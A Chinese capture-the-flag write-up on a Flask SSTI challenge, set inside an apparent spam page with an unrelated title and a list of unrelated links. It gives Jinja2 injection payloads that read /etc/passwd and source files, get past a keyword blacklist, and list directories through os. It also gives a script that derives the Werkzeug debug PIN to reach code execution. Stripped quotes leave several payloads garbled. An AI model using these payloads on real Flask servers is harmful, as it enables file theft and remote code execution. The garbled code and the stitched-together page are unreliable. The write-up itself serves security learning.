当前位置: 首页 > news >正文

网站如何做才可以微信直接登录好看的网站排版

网站如何做才可以微信直接登录,好看的网站排版,宝应网站,宁波网页设计制作公司目录 一、网页功能探索 二、SSTI注入 三、方法一 四、方法二 使用PIN码 #xff08;1#xff09;服务器运行flask登录所需的用户名 #xff08;2#xff09;modename #xff08;3#xff09;flask库下app.py的绝对路径 #xff08;4#xff09;当前网络的mac地…目录 一、网页功能探索 二、SSTI注入 三、方法一 四、方法二 使用PIN码 1服务器运行flask登录所需的用户名 2modename 3flask库下app.py的绝对路径 4当前网络的mac地址的十进制数 5机器的id PIN码 一、网页功能探索 当我在“解密”页面输入123时会跳转到这个页面 非常熟悉的页面以前在做jinjia2的时候看到过猜测是能进行ssti模板注入的。 先在加密页面输入{{2*3}} 得到 e3syKjN9fQ   再去解密页面输入 此时发现得到的是 no no no 也许是 * 被过滤掉了尝试 ,发现可以注入 二、SSTI注入 先尝试文件读取 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[open](/etc/passwd).read()}}加密后为 e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19 解释 1()和.__class__         ()创建一个空元组         .__class__ 获取该对象的类即tuple类 2__bases__[0]         获取基类tuple类的基类是object类 3__subclasses__() [75]         获取特定子类 4__init__.__globals__         访问初始化方法的全局变量 5__builtins__         python中的内置函数包含open,eval 函数 得到 此时不知道flag放到哪个下面了尝试读一下完整的app.py 三、方法一 下面的方法都是参考这位师傅的wp BUUCTF [GYCTF2020]FlaskApp - Amsterdamnit - 博客园 {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__catch_warning %} {{c.__init__.__globals__[__builtins__].open(app.py,r).read()}} {% endif %}{% endfor%}变为一行 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__catch_warnings %}{{ c.__init__.__globals__[__builtins__].open(app.py,r).read() }}{% endif %}{% endfor %}加密得到 eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9 成功得到app.py的源码 看一下关键的地方发现了waf def waf(str): black_list [#34;flag#34;,#34;os#34;,#34;system#34;,#34;popen#34;,#34;import#34;,#34;eval#34;,#34;chr#34;,#34;request#34;,#34;subprocess#34;,#34;commands#34;,#34;socket#34;,#34;hex#34;,#34;base64#34;,#34;*#34;,#34;?#34;] for x in black_list : if x in str.lower() : return 1 过滤了一些像flag system eval hex base * 等字符 但发现还是可以通过字符串拼接来找目录可以这样构造(构造import 和 os) {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__][__import__](os).listdir(/)}} 发现一个文件 尝试读取这个文件但这里因为有flag黑名单需要进行一些绕过尝试用python列表的特性使字符串倒过来this_is_the_flag或者直接构造this_is_the_flag.txt应该也行 {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__].open(txt.galf_eht_si_siht/[::-1],r).read()}} 成功得到flag 四、方法二 使用PIN码 先来进行操作后面再看看怎么解释吧PIN码的生成需要以下步骤 1服务器运行flask登录所需的用户名 通过之前读取的/etc/passwd可以得知为 flaskweb 2modename 一般不变就是flask.app 3flask库下app.py的绝对路径 之前报错的信息里就会泄露 得到/usr/local/lib/python3.7/site-packages/flask/app.py 4当前网络的mac地址的十进制数 通过读取/sys/class/net/eth0/address 就可以得到 {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__].open(/sys/class/net/eth0/address,r).read()}} 成功得到 fe:fa:23:fe:b7:6e 5机器的id linux的id一般存放在/etc/machine-id 或 /proc/sys/kernel/random/boot_i 中 docker机则读取 /proc/self/cgroup 这里使docker机尝试读取 {{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__[__builtins__].open(/proc/self/cgroup,r).read()}} 得到 3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02 PIN码 然后尝试PIN码 from itertools import chain import hashlib # 定义公共信息 probably_public_bits[flaskweb,flask.app,Flask,/usr/local/lib/python3.7/site-packages/flask/app.py ] # 定义私有信息 private_bits[fe:fa:23:fe:b7:6e,3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02 ] # 将公共信息和私有信息拼接成一个列表 h hashlib.md5() for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit bit.encode(utf-8)h.update(bit) h.update(bcookiesalt) # 最后追加盐值 cookiesalt# 生成Flask调试会话Cookie的名称前缀 cookie_name __wzd h.hexdigest()[:20]# 生成PIN码的中间值 num None if num is None:h.update(bpinsalt)num (%09d % int(h.hexdigest(), 16))[:9]# 格式化PIN码 rv None if rv is None:for group_size in 5, 4, 3:if len(num) % group_size 0:rv -.join(num[x:x group_size].rjust(group_size, 0)for x in range(0, len(num), group_size))breakelse:rv numprint(rv)得到 318-076-921 通过之前输入错误信息跳转的页面可以得知是开启了 flask的debug模式的再次进入错误界面 点击这个终端 输入我们的PIN码 可惜 -_-|,错哩 Flask的调试PIN码是调试的核心安全机制若生产环境误开启调试模式攻击者可通过获取PIN码执行任意代码
http://www.pierceye.com/news/814777/

相关文章:

  • 上海正规做网站公司电话演示 又一个wordpress站点
  • 建设银行网站特色完整网站开发视频教程
  • 株洲做网站渠道电话设计师培训生招聘
  • 四川阿坝建设招标网站wordpress调整文章编辑界面
  • 福州seo计费优化设计的答案
  • 网站建设教程网什么是oa系统软件
  • 建设一个网站app需要多少钱哪个做问卷网站佣金高
  • 宁夏网站设计公司网页视频怎么下载ios
  • 滁州建设厅网站工程建设施工企业质量管理规范
  • 从事网站建设的职业wordpress 外网
  • 百度百度上海百度seo
  • 山西网站的公司广东省住房与城乡建设厅网站
  • 怎么查看网站是用什么编程语言开发的品牌软文范文
  • 能够沟通业务的网站wordpress 主题 恢复
  • 动态域名做网站在线查询企业
  • 绍兴企业网站推广建设通是什么网站
  • 网站设计制作太原抖音seo怎么做的
  • 北京网站代理备案上海跨境电商网站开发公司排名
  • 您的网站未备案 或者原备案号被取消开发一个微信小程序多少钱
  • 如何用记事本做网站南宁做网站哪家好
  • 优秀网站首页百度账号怎么改名字
  • 杭州做网站排名软件碧桂园房地产最新消息
  • 上传网站空间天津专门做网站的公司
  • 无锡企业做网站大庆油田内网主页网址
  • 网站开发合同 下载山西正规网站建设报价公司
  • seo好的外贸网站怎么用wordpress建立本地网站
  • 网站备案号查询有名vi设计公司
  • 呼市做网站建设的公司哪家好易班班级网站建设展示PPT
  • 网站制作精品案例欣赏中国建设局网站首页
  • 几分钟做网站网站网格布局